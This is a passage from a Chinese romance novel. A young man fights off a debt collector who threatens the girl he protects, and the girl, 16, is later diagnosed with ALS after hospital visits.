徐超听到言迹这么说,恨意窜升:“怎么不关你事?父债子还,天经地义,初雨她爸跑了,钱就不用还了吗?你要是不管她,她就能给我们还钱!利息还不起,最起码还些本金吧?不然我哥就剩死路一条了!既然你非要插手,那这钱就由你来还。”
言迹压着火气:“谁借的钱,就去找谁还,我们借过吗?你狂犬病发作乱咬人是吗?你哥带人害了初雪,还不够?我就把话说难听点,你们一家都死了我也不会给半个子儿,再敢骚扰我们,我就报警,你也进去冷静冷静。”
徐超一拳给出去,砸到言迹嘴角:“谁给你的胆?敢这么和我说话?”
“我给你好脸给多了是吧?”言迹嗓音沙哑,他没管嘴角渗出的血,整个人周身弥漫危险气息。
他揪着徐超的衣领,把人掼到水泥墙面上,垂眸看徐超的眼神就像在看垃圾:“你以为这是镇上?你算个什么东西?”
初雨流过的眼泪,这时都成了言迹的怒火。
徐昊把初雪逼进绝境,徐超想故技重施吗?
徐超仰视言迹,话语间全是不服:“你不还钱,我就一直缠着你们,你能一天二十四小时都守着初雨吗?你能保证她一直在你视线范围内吗?说不定哪天你回到房子,就能看到我压着她玩得正爽呢?”
言迹最后一丝冷静也被吞噬干净,他抬膝直撞徐超要害。
都是男的,当然知道哪里受伤最疼。
“你这种社会上的祸害,怎么还不去死?”言迹一生中最毒舌的时刻,就是这会儿。
他眼里的红血丝明显,松开揪住徐超衣领的手,一脚踹向徐超小腹:“你试试缠着我们不放,看最后到底是谁先弄死谁。”
不经大脑思考说出来的话,又狠又绝。
都是血气方刚的年轻人,受不了对方一点侮辱。
徐超躺在地上疼得半死,吸着冷气:“好,言迹,你有种,你厉害。”
言迹转身就走,徐超加大音量:“我哥要是有事,我不会放过你们的!”
根本不管徐超怎么喊叫,言迹的注意力全在初雨那边。
她现在没事吧?等会儿该怎么给她解释脸上的伤?
要不要带她搬到别的地方去?徐超怎么找到他们的?
脑里一团乱麻。
总结起来就一句话——他只剩下初雨了,如果她有意外,他都不知道该怎么在这个世上活下去。
从前拿她当青梅竹马,当妹妹,现在她可是他捧在心尖上的人,要尽全力保护她。
按初雨的性格,看到他脸上的伤,肯定会问怎么回事,还会找东西给他处理伤口。
家里没消毒药水,她又要跑下楼买。
想到这,言迹走进药店,买了碘伏和棉签。
短短几百米距离,走起来觉得度秒如年。
为什么越是害怕发生的事情,就越是会发生?
为什么命运还是不肯放过他们?
他和初雨到底做错了什么,要被那些败类盯上?
回到家门口。
言迹抬手敲门:“小鱼,我回来了。”
初雨跑来给他开门,看到他脸上的伤口,眼泪上涌:“你不是说出去买东西吗?你骗我。”
言迹沉默着换鞋,他还没想好要怎么给初雨解释。
他不说,初雨只能猜测可能性。
她咽下哭腔,尽可能让自己平静:“老家的那些人,找过来了,是不是?”
言迹实在想不到合适的理由,只能点头承认。
她拿棉棒蘸碘伏给言迹消毒,动作轻柔,生怕碰疼他:“你怎么能和那些人打架,就不嫌脏了手吗?”
言迹的安慰很苍白:“我没事。”
消完毒,初雨放下东西,抱住言迹,她的身体因害怕在微微颤动:“言迹,我只有你了。”
你要是有意外,我该怎么办。
是你让我重新爱上这个世界,你不能有事。
言迹不知道徐超是否会真的再来报复,更不知道徐超会做出多极端的行为。
初雨更不清楚他们之间说了什么。
她可以接受言迹喜欢别的女生,可以接受言迹和别人恋爱、结婚,然后把她淡忘。
但她绝对不能接受言迹以天人两隔的方式永远离开她。
“我知道。”
言迹拥住初雨,抬手轻拍她后背,试图抚平她受惊的情绪,他和她现在完全感同身受,又重复一遍,声音低柔,“我知道。”
他们都很害怕失去彼此。
初雨在言迹怀里无声掉着眼泪,哭到睡着。
言迹全程拍抚她的后背和肩膀,没敢吭声哄她,他怕自己一开口,也会忍不住想哭。
都怪他太没用。
要是能考到远一点的城市,带她远走高飞,徐超就肯定找不到他们了。
怪他没有保护好她的能力,才让她心惊胆颤泪流满面。
初雨睡着以后,言迹抱起她,送她回卧室睡。
他整夜无眠,又等来一场日出降落眼底。
本来说好今天带初雨玩,她睡到中午,无精打采起床,吃饭也就动了两口,整个人看上去心事重重。
“小鱼,不用害怕,”
言迹以为她昨晚吓到了,导致今天还没缓过来,“不管发生什么事,都有我在,再吃点饭,不然下午哪有力气出去玩。”
她摇摇头:“我吃不下了,还是有些困,想睡觉。”
言迹不强迫她:“那你去休息吧,我就在家陪着你,哪也不去,你饿了随时给我说,我给你做饭。”
“好。”她回房间,重新躺进被窝。
从起床就觉得手脚无力,卧室到客厅,短短几步路,她好几次险些摔倒。
吃不下饭,不仅因为没食欲,还感觉喉咙里堵着一团异物,吞咽有些困难。
没放在心上的那些症状,开始严重化。
应该是畏光症的后遗症吧,估计没大问题。
实在忍受不了的话,再去医院看或许也来得及。
她明白言迹赚钱不容易,不想花他的钱,就算治病,也该用她自己的钱。
手里剩下的钱不多了,她计划明天趁言迹上课的时间,出门去找份兼职。
等攒够钱了,她自己去看病,不用言迹担心。
说做就做,第二天早上,言迹刚出门,初雨就起床收拾,准备去找兼职。
临走前,她给随身带的帆布包里放了把锋利的剪刀,防止被老家那些人欺负时找不到东西保护自己。
她从上午找到下午,连中午饭都没顾得上吃,沿街留意哪里有适合她做的工作。
很多店家说她是未成年,不敢雇用。
她心灰意冷,漫无目的往前走,看到一旁电线杆上贴着招人广告。
是给玩具娃娃缝眼睛和蝴蝶结发卡的工作,属于计件活,多劳多得,年龄不
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限,工作地点不限。
地址就在前面二百米的厂房里,很好找。
最后的希望寄托在这里,她找到厂房,进去礼貌询问工作相关。
她本身就会些手工活,当着管事的阿姨面前,现场学着缝了两个玩具娃娃的眼睛和蝴蝶结发卡,她的手艺水平得到肯定。
“姑娘,你在我们厂房工作比较方便,做完交货就行,你想带回家做也可以,但是不能弄脏娃娃,不然就算不合格产品,要扣钱的。”阿姨带她到车间,给她一个干活的简陋工位。
带回家肯定有弄脏产品的风险,还是在这里工作吧。
“谢谢您,我会好好工作的,”初雨看看时间,“我明天来正式上班可以吗?”
她该回家了,不然言迹会担心她。
“都行都行,”管事阿姨很好说话,“咱们这都是计件活,不卡上下班时间,自由得很。”
“谢谢阿姨。”
她回家的时候,言迹正要给她打电话,问她在哪里。
“去图书馆了吗?”言迹知道她最常去的地方就是图书馆,除了这,她很少去其他地方。
她抿抿唇,实话实说:“我找了份兼职,明天去上班。”
言迹静默一瞬,紧接着跳出来好些问题:“工作内容是什么?地址在哪?远不远?最近缺钱用吗?怎么突然出去找兼职?”
初雨挨个回答:“就是给布娃娃缝眼睛和蝴蝶结发卡,挺简单的,不远,走路二十分钟就到了,不缺钱用,我觉得闲着也是闲着,想找点事情做。”
“明天我和你一起去看看,害怕你被人骗了。”言迹的警惕心和防备心都很强。
“好,看过之后,你就能放心我去工作啦。”
翌日。
言迹跟初雨到厂房,简单看了下环境,他听同学说过这附近有计件活工作,适合想要自由的人来做兼职。
他同意初雨来兼职:“那你先试试吧,有什么不顺心的就回家,我又不是养不起你。”
她弯唇轻笑:“我知道你养得起我,但我想多赚一点,能替你分担一些是一些。”
“小鱼长大了,知道心疼我了,”言迹抬手捏捏她的脸,“别累着自己,中午我赶不回来,你记得按时吃饭,我下午来接你回家。”
“嗯嗯,好。”
分别之后,初雨站在原地,看着言迹的背影越走越远。
也许心灵感应作祟,言迹突然转身,朝初雨挥挥手,让她去忙。
车间里,初雨手速快,保质保量完成分给她的工作。
中午,她就近买份炒面,吃了几口垫垫肚子,压下饥饿的劲儿,继续工作。
言迹来接她的时候,天边夕阳正好。
走在回家的路上,凉风习习,充实的一天即将落幕。
初雨第一天上班,脖子和胳膊都有些酸痛不适。
回家之后,她把自己丢进沙发里,懒得再动一下。
她想起还在老家生活的日子。
那段不愿回顾的灰暗时光,言迹是她生活中唯一鲜活生动的色彩。
当时的言迹读着高中,还在王阿姨的商店里打工,她整天躲在房间里,见不了任何光线。
言迹边读书边赚钱,肯定比她现在辛苦。
那会儿的言迹,是怀着怎样的心情,怎样的感受,日复一日问她当天做了什么,有没有不舒服。
他已经够累了,还要关心她,照顾她。
现在的言迹,仍然还问着这些。
“第一天上班,感觉怎么样?”
“看你脸色不好,是累的还是不舒服?”
被人关心的感觉,真好。
他们聊天到深夜,各自回房间休息。
生活按部就班继续。
周日,他们两个同天休息。
初雨感觉手脚无力的症状已经到了不能再坐视不管的程度。
她犹豫再三,还是向言迹坦白:“我有点不舒服……可以陪我去医院吗?”
言迹立马收拾东西,带她去医院。
医生问完相关症状,大致了解后,开检查单:“先去做检查。”
言迹陪同初雨做完检查,把报告单拿给医生看。
医生面色凝重,眉头微皱,抬眸打量他们:“你们是什么关系?监护人来了没有?”
言迹意识到问题不小:“医生,我们父母都不在,我是她哥哥,情况怎么样?很严重吗?”
27. 第二十七夜
医生把诊断书递给言迹:“根据她目前的各种症状和检测报告数据来看,确诊是肌萎缩侧索硬化,我说通俗点,就是渐冻症。”
陌生的词汇,像一道响雷炸开在耳畔。
言迹的呼吸凝滞,甚至忘记去看初雨的反应。
“渐冻症早期的部分症状和患者口述一致,讲话表达不清、食欲减退、吞咽困难、手脚无力、腿部抽筋、呼吸不畅、突发高烧……”
医生注意病历上面,初雨的年龄,内心感叹才16岁,正年轻啊,他继续说,“配合吃药,再提升一下生活质量,症状会减轻些。”
言迹捏着诊断书的手在明显颤抖,他尽力保持声线平缓,不敢置信:“医生,会不会是误诊了……有没有别的可能?”
“你们不放心的话,可以再去其他比较权威的医院看看。”
医生见惯对于诊断结果难以接受的患者和患者家属,“我和市中心医院的神经内科主任是朋友,我把他的联系方式给你们,你们去找他看看,马上到中午休息时间了,你们下午过去直接给他打电话就行。”
言迹连连道谢:“谢谢您,非常感谢。”
“没事,我本来就是医生,这是我应该做的。”
言迹握住初雨冰凉的手腕,带她走出医生办公室。
她整个人像枯萎的花朵,面色煞白,失魂落魄,任由言迹牵着她挪动步子。
他们两个走出医生办公室后,医生先给朋友去了个电话,简单说明初雨的情况,让朋友帮忙关照着点。
小姑娘太年轻了,比起诊断书上的白纸黑字,他也希望是自己不慎误诊。
医者仁心,尤其看到和自己家里女儿年纪相仿的患者,心里总会多些怜悯。
初雨的思绪四散,心神皆乱。
她不重视的诸多小症状,叠加起来,竟然这么严重,虽然她还不完全了解这个病,但听名字就够难受。
渐冻症,最坏的结果是什么呢?
身上所有的神经、肌肉,都会渐渐萎缩,像被冰冻一样失去力气,直到再也无法行动吗?
言迹收起检查单和诊断书,压下内心的惊恐慌乱,强撑出稳重大人的姿态:“小鱼别担心,八成是误诊,下午我们再去另一家医院看,不管怎么样,所有事情我都会陪你面对,我们一起想办法,别害怕。”
她木讷地点点头,像被剥夺了属于人类情感的机器人,只会执行简单的程序指令。
另家医院距离这边不近,他们坐公交车过去,还没到医生上班时间。
医院对面的小饭馆和礼品店,排成一条街。
言迹频频看时间,以前从没觉得时间流速慢,今天心急如焚,倍感煎熬。
“要不先吃点东西?还有四十分钟,医生就上班了。”
他试探性问初雨,“不想吃也没事,我们去医院里面等吧?外面风大,小心感冒。”
初雨本来想说她不饿,那就直接去医院里面等医生吧。
转念一想,言迹陪她跑了整个上午,连水都没喝,即使她吃不下东西,也该让他吃上点。
她抿抿唇:“正好我有些饿,我们先去吃饭吧。”
“行,都听你的,想吃什么?馄饨?粥?汤?”言迹自然握住她的手,带她过马路去对面的街上找店吃饭。
他说的这些,都是容易咀嚼,容易吞咽的食物。
“就馄饨吧。”
“好,不够吃的话,我再给你买别的。”
两人面前,摆着两碗热气腾腾的馄饨。
他们并排而坐,店里有台悬挂式的彩电,正在重播昨晚那档初雨最爱的综艺节目。
初雨的视线时不时往电视上面飘,往常最中意的节目,也没能化开她眼底浓郁的忧愁。
言迹低头咬馄饨,耳边响起初雨曾经提起过几次的没胃口。
想来那时,渐冻症就在她身体之内埋下了潜伏的种子。
他以为她受的刺激太重,吃不下东西很正常。
以为自己做的饭不合她口味。
以为气温变化导致她没食欲。
记起去年暑假,她莫名其妙的高烧。
送她到医院输液,她醒来之后,听到他说,医生让做全面检查,她一口咬定没事不用。
他态度不改,仍然要求做检查,她抗拒的哭腔让他心软,逃过了那次检查。
上次去医院复查畏光症,心理医生问她有没有其他的不舒服,最好做个神经系统的全面检查。
一些重大心理疾病确实会引起神经系统病变,医生的担心实在情理之中。
初雨迟疑之后,说她没有不舒服。
对于言迹起疑的追问,她也充分解释掉,再转移话题。
再次逃过检查。
要是他那几次不心软,再深想一下,坚持要她做检查,就能早发现早控制。
怪他不够细致入微。
不管是从当家人的角度来说,还是从暗恋者的角度来说,他都非常失败。
可能,她早就察觉到身体的异样信号。
一直拖着不说,是不想他担心又花钱。
体贴他的代价是委屈自己。
怪他不够强大,不够有钱。
都是他的错。
是他耽误了初雨发现病情时间。
啪嗒、啪嗒——
眼泪接二连三跌落进汤碗,激起涟漪。
言迹俯首,快要把脸埋进碗里,不愿让身侧的初雨发觉他在哭。
他死死咬住下唇,遏止声响,只是眼泪越来越汹涌地往下砸。
有时想想,这世界不太公平。
有人坐享其成挥金如土,生来就在罗马,位于金字塔尖,免受颠沛流离风吹雨打。
有人辛勤劳作精打细算,一生奔赴罗马,努力攀高登峰,历尽艰难险阻严寒酷暑。
还好周围吵闹。
马路来往车辆的鸣笛声此起彼伏,街道行人步履匆匆,餐馆内有小孩子哭闹,有声音粗犷的男人接打电话。
这些噪音,盖过泪珠滚进汤碗里的微小声响。
不会被正在看电视的初雨发现。
她到底还是个没长大的孩子,哪怕真的天塌下来也不会害怕到极点。
因为她知道,她有言迹。
但是言迹呢?他有谁?
偏偏这份脆弱和自责,不能在初雨面前显露。
她身患疾病,本就心情低落,他应该积极鼓励她配合治疗,不能和她一起被感性操控。
至少要有应对全局的能力,至少不能在她面前崩溃。
言迹抽张手边的纸巾,慌忙抹掉脸上和眼周的泪痕。
他扔掉湿了的纸,重新抬起头,睫毛还有些湿漉漉,眼眶明显泛红。
初雨吃掉碗里最后一个馄饨,转眸看出言迹的不自然,她小声问:“你哭了吗,眼睛怎么红红的?”
言迹否认:“没有,馄饨汤里胡椒太重了,呛得慌,我吃不惯。”
“可是——”她想说,可是,你说话的鼻音很重,胡椒真的有那么呛吗?明明我们吃的是同一家店做出来的馄饨,为什么我没尝出胡椒味。
突然又觉得,没必要逼他承认。
他心里该有多难受,才会吃了顿眼泪拌馄饨。
从一开始就害怕依赖他,不想拖累他。
现在果不其然,依赖着他,拖累了他。
好讨厌这样的自己。
如果不是她这个累赘,言迹应该会过得比现在好很多。
言迹和她对视的瞬间,所有负面情绪都在对方眼中瓦解溶化。
某种伟大到足以忽略所有风险,甚至似乎足以拯救所有坏局面的神秘能力,由心底而发,在他们交汇的目光中诞生。
他们年纪太小,不懂得这种说不清楚的情感,是在这个混沌繁杂的世界里,至纯至善如雪山之巅不染凡尘的一抔白净碎光。
不懂得这是许多人终其一生也没能触碰到的,纯洁无瑕的爱。
付过账,言迹带初雨往医院走。
他按联系方式给神经内科的何主任打电话,礼貌说明来意。
何主任知道这是朋友在电话里让他特别关照的那两个年轻人:“你们直接来我办公室。”
见到何主任本人,他的面目慈祥:“坐,先把上午的检查报告单给我看看。”
言迹让初雨坐下,报告单和诊断书一并交给何主任。
何主任戴着无框眼镜,仔细查看报告。
他又开了几项更加精密准确的检查:“在我们医院再多做几个检查,拿了结果来找我。”
“好,谢谢医生。”
言迹带初雨做完所有检查,重新回到何主任办公室。
何主任看完报告单,又瞧了眼还年轻的初雨,犹豫要直接告诉她
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病情,还是委婉些说。
“听我朋友说,你们父母不在身边,给我个电话号吧,我打给他们说情况。”
何主任觉得还是得把真实情况告知监护人最稳妥。
初雨的爸爸逃跑之后就换掉了联系方式,根本找不到人。
言迹有些难以启齿,他低眸怜爱地凝视正在扣手指的初雨。
她沉默。
“主任,我们的父母不是不在身边,是……已经不在人世了,我是她哥哥,您直接和我说就好。”言迹字字艰涩。
何主任端详他们的长相,确实都很优越,但毫无相似之处:“你们是亲兄妹吗?”
言迹坦诚:“不是,但我们是对方认定的家人,已经互相照应很久了。”
主任内心可怜这两个年轻孩子,但病情不能隐瞒:“没有误诊,确实是渐冻症中期,渐冻症是一种进行性神经系统疾病,特点是运动神经元逐渐受损,导致肌肉无力、萎缩和功能丧失,这个病的确切病因,目前不清楚,但是遗传、环境、神经炎症之类的因素可能和发病有关。”
言迹听到运动神经元的字眼,及时问:“主任,她受过特别严重的刺激,得过心理畏光症,那段时间见不了任何光线,闭门不出,没有任何运动,会是发病的诱因吗?”
主任进一步了解:“是什么样的刺激?”
言迹说明,主任听过后,结合临床回答:“长期不运动诱发渐冻症的概率很低,而且可以说遭受的是重大心理刺激,用了不到一年时间治愈,已经是个奇迹,不排除心理疾病导致神经系统受损的可能,但这是间接原因,不是直接诱发,家族有渐冻症遗传病史的话,发病率相对高一点。”
言迹的喉结滚动,声音有点哽咽:“那……有治愈的可能吗?”
主任遗憾摇头:“目前没有治愈方法,但是配合吃药,调整生活质量,可以有效帮助延缓病情进展。”
初雨终于出声:“主任,渐冻症的最坏结果是什么?”
“这……”何主任看了言迹一眼,担心小姑娘会被他接下来说的话吓到。
言迹握住初雨发抖的,冰凉的手,通过体温相触,传递给她一些勇气。
“您说吧。”言迹看向何主任。
何主任这才往下说:“最不乐观的情况,可能会经历从手指活动不灵活到全身瘫痪的过程,运动能力丧失,会影响吃饭喝水、穿衣走路,进食困难会增加营养不良和吸入性肺炎的风险,后期会累及呼吸肌,导致呼吸困难,需要依赖呼吸机维持呼吸,认知功能也会随病情发展而下降。”
初雨握紧言迹的手,再问:“那……我还能再活几年?”
“大部分中期患者还能再生存两三年左右,但也有部分患者能存活十年以上,你还小,别太悲观,往好处想想。”
主任开了药,交代他们平时需要注意的事项。
饮食要调整为高蛋白、高热量且易消化的食物,以维持足够的营养摄入。
吞咽困难尽量选择软食或半流质食物,要是吞咽困难严重,就需要通过鼻饲或者胃造瘘来保证营养供应。
肌肉力量逐渐减弱,容易发生跌倒和意外伤害,浴室和洗手间之类的地方最好装上扶手、防滑垫,避免地面湿滑。
还会影响呼吸肌功能,应该定期进行呼吸训练,比如深呼吸和吹气球,以增强肺部功能,如果后期出现呼吸困难,就需要呼吸机辅助呼吸。
平时要按时吃药,定期到医院进行神经系统检查,有助于监测病情变化,及时调整治疗方案。
言迹拿着药单去药房取药,初雨跟在他身后,亦步亦趋,像个小尾巴。
价格远超预估范围的药,昂贵到掏空言迹大部分积蓄。
初雨咬着嘴唇,眼里裹满清泪。
言迹对他自己各种舍不得,给她买上千块的药,眼都不眨一下,完全看不出半分对钱的心疼。
拿完药,言迹转身看见泪盈于睫的初雨,他屈指为她擦掉泪水:“怎么了,小哭包?”
“给我买药那么干脆,你就不心疼钱吗?”她都替他心疼,辛苦兼职攒下来的存款,花出去的速度仅需这么一小会儿。
言迹磁性的嗓音低缓温柔:“小鱼,我从来不怕花钱,我只怕你受苦。”
钱没了可以再赚,她受的苦,他要怎么分担?
干着急也无能为力,这种焦心感,最折磨人。